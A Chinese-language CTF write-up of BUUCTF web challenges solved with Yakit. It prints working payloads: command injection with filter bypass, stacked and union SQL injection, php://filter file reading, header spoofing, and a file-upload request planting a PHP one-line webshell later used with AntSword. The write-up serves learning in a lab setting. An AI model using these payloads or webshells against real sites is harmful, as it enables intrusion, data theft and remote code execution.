buuCTF WEB方向刷题(熟悉 Yakit)
[GXYCTF2019]Ping Ping Ping
思路
推测为拼接执行
$IFS$1 绕过空格, 创建 shell 变量绕过 flag 字符检测
Payload
/?ip=1|ls
ls 一下查看文件, 看到有两个文件, 其中一个是 flag.php, 用上面的思路 cat 一下
/?ip=1;a=g;cat$IFS$1fla$a.php
用 Yakit 传的时候记得关闭左边的强制 https

solve~
[强网杯 2019]随便注
思路
给了一个输入框, 结合题目title, 推测可以注入
尝试堆叠注入注出表名, Payload: 1';show tables;#
发现存在堆叠注入, 两个表名字分别为 1919810931114514 和 words ,来使用这句 Payload: ';show columns from `1919810931114514`;# 查看表 1919810931114514 的列名, 发现 flag 在此表中

又因为其过滤了 select, 但是因为我们可以堆叠注入, 于是搜到这个
handler users open as hd; #指定数据表进行载入并将返回句柄重命名
handler hd read first; #读取指定表/句柄的首行数据
handler hd read next; #读取指定表/句柄的下一行数据
handler hd close; #关闭句柄
构造 Payload 思路为: 指定 1919810931114514 表进行载入并重命名为 thisAlias 后读取第一条数据, 最后#注释掉即将拼接的代码
最终Payload
';handler `1919810931114514` open as thisAlias;handler thisAlias read first#
Yakit 需要在参数处选中后手动选择 URL编码

solve~
[极客大挑战 2019]Secret File
思路
劫持后一步一步找线索得到这个网页
<html>
<title>secret</title>
<meta charset="utf-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
分析发现需要 get传参 又没有过滤 filter, 于是用其构造 rce
探索php://filter在实战当中的奇技淫巧
于是构造如下 Payload
/secr3t.php?file=php://filter/resource=flag.php

发现并没有 flag 尝试读取后编码
Payload
/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

拿到 chef 解码

solve~
[极客大挑战 2019]LoveSQL
思路

随便注了下, 发现提示语法错误, 但是给出了一半拼接后的语句, 同时给出信息-数据库是 MariaDB
呃呃结果把--换成#注释就好了, 但是MariaDB也是支持--注释的啊(不过也说明是字符注入, 原因: 给出的一半拼接后的语句可以看到a 后的字符闭合符号 ' 一并拼接到sql查询中后报语法错误)
a' or 1=1#
密码随意后回车
随后提示如下

推测密码是通过 md5 杂凑后的, 但是在cmd5尝试查询后显示未查到

手动劫持模式后随便输入点东西点击登录, 再到 Yakit 里面将这个请求带到 Web Fuzzer 里面来, 对其请求适当构造 URL编码标签 后来将其当做 Hackbar 用

爆破字段数
admin ' order by 1 #

到 4 时报错, 说明字段数为 4
用 union 测注入点(回显点位)

得到回显点位为2和3
爆破数据库

得到数据库名
爆破数据表
/check.php?username={{urlescape(' union select 1,2,group_concat)}}(table_name){{urlenc( from information_schema.tables where table_schema=)}}database(){{urlenc(#)}}&password=1

得到 'geekuser,l0ve1ysq1' 两个数据表
爆破字段
/check.php?username={{urlescape(1' union select 1,2,group_concat)}}(column_name){{urlenc( from information_schema.columns where table_schema=)}}database(){{urlenc( and table_name='geekuser'#)}}&password=1

/check.php?username={{urlescape(1' union select 1,2,group_concat)}}(column_name){{urlenc( from information_schema.columns where table_schema=)}}database(){{urlenc( and table_name='l0ve1ysq1'#)}}&password=1

联合查询数据
/check.php?username={{urlescape(1' union select 1,2,group_concat)}}(id,username,password){{urlenc( from geekuser)}}{{urlenc(#)}}&password=1

/check.php?username={{urlescape(1' union select 1,2,group_concat)}}(id,username,password){{urlenc( from l0ve1ysq1)}}{{urlenc(#)}}&password=1

Payload 如上
solve~
[极客大挑战 2019]Http
思路

看到网页源码中有个文件, 访问一下发现提示: 不是来自 https://Sycsecret.buuoj.cn 不用管这是什么, 只需要知道可以构造 header头 实现绕过这个提示

添上这一条就好了
不过又提示让我们使用什么 "Syclover" browser , 那就改下 UA

到下一小关
它说我们只能在locally访问,那么意思就是要我们使用127.0.0.1来访问,那来添加一行
Payload(Request)
GET /Secret.php HTTP/1.1
Host: node4.buuoj.cn:28144
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://Sycsecret.buuoj.cn
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Syclover
X-Forwarded-For: 127.0.0.1

solve~
[极客大挑战 2019]Knife
思路
访问题目后结合高亮的信息, 推测出需要菜刀这款工具, 而且题目提到了
eval($_POST["Syc"]);
ChatGPT 帮忙解读下这行代码
Promat:
解读代码 解析 eval($_POST["Syc"]);
回复如下
代码 eval($_POST["Syc"]); 是一段使用 PHP 编写的代码。让我们逐步解读它:
$_POST["Syc"]:$_POST是 PHP 中的一个超全局变量,用于获取通过 HTTP POST 方法发送到服务器的表单数据。$_POST["Syc"]表示获取名为 “Syc” 的表单字段的值。eval()函数:eval()是 PHP 中的一个函数,用于执行传递给它的字符串作为 PHP 代码。它可以将字符串作为动态代码进行解析和执行。
综合起来,eval($_POST["Syc"]); 的作用是将通过 HTTP POST 方法发送到服务器的名为 “Syc” 的表单字段的值作为字符串解析为 PHP 代码,并执行该代码。
然而,需要注意的是,使用 eval() 函数执行来自用户输入的任意代码是非常危险的,因为它可能导致安全漏洞和攻击。恶意用户可以通过构造恶意的输入来执行任意的 PHP 代码,包括访问、修改或删除文件、执行系统命令等。因此,应该谨慎使用 eval(),尤其是对于来自不受信任的来源的输入数据。
如果有其他特定的需求,请提供更多上下文信息,我将尽力提供更详细的帮助。
简单的说这就是一个一句话木马, 这里理解为直接给了一个 WebShell 就好了
打开 蚁剑 , 右键添加数据 按如图输入两行数据, 测试连接发现成功

添加后双击打开, 下意识去根目录找找 flag ,不过这里有个小坑: 蚁剑左测栏目只能显示目录, 需要在屏幕中心这块区域查看根目录才能看到文件, 如图, 发现 flag 文件, 双击打开复制提交

solve~
[极客大挑战 2019]Upload
思路
访问实例发现是一个图片上传页面, 结合题目名称, 反应上来应该是上传木马, 达成任意执行

这牛魔网站我传个 png 都显示不是图像, 逆天

直接劫持构造请求, 先来写个 php一句话木马, 用 .phtml 后缀绕过 .php 后缀关键字查询

替换下图高亮的部分, 给其标记为 jpeg 格式图片, 不过还是被检测了, html解码后发现是 <? 被检测

就把🐴改为如下
GIF89a? <script language="php">eval($_REQUEST[123])</script>
这下就好了, 如下图

访问 upload 目录看看是否真的上传成功

ok 也打开查看过了没有问题
蚁剑 链接, 如下图配置

ok 在根目录找到 flag
最终 Payload
构造请求
POST /upload_file.php HTTP/1.1
Host: 38452b65-6556-4d68-a72b-e81da1d98a02.node4.buuoj.cn:81
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysdZmqDStYm6uZ686
Origin: http://38452b65-6556-4d68-a72b-e81da1d98a02.node4.buuoj.cn:81
Referer: http://38452b65-6556-4d68-a72b-e81da1d98a02.node4.buuoj.cn:81/
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Length: 307
------WebKitFormBoundarysdZmqDStYm6uZ686
Content-Disposition: form-data; name="file"; filename="1.phtml"
Content-Type: image/jpeg
GIF89a? <script language="php">eval($_REQUEST[123])</script>
------WebKitFormBoundarysdZmqDStYm6uZ686
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundarysdZmqDStYm6uZ686--
蚁剑 链接
地址: http://38452b65-6556-4d68-a72b-e81da1d98a02.node4.buuoj.cn:81/upload/1.phtml
密码: 123
solve~
[第一章 web入门]常见的搜集
思路
访问实例后提示信息收集, 访问 /robots.txt , 得到一个目录, 访问是前半部分 flag
这道题除了上边这个 txt, 还有信息存在, 如下文件
/index.php~
/.index.php.swp
打开后如下

拼起来就是 flag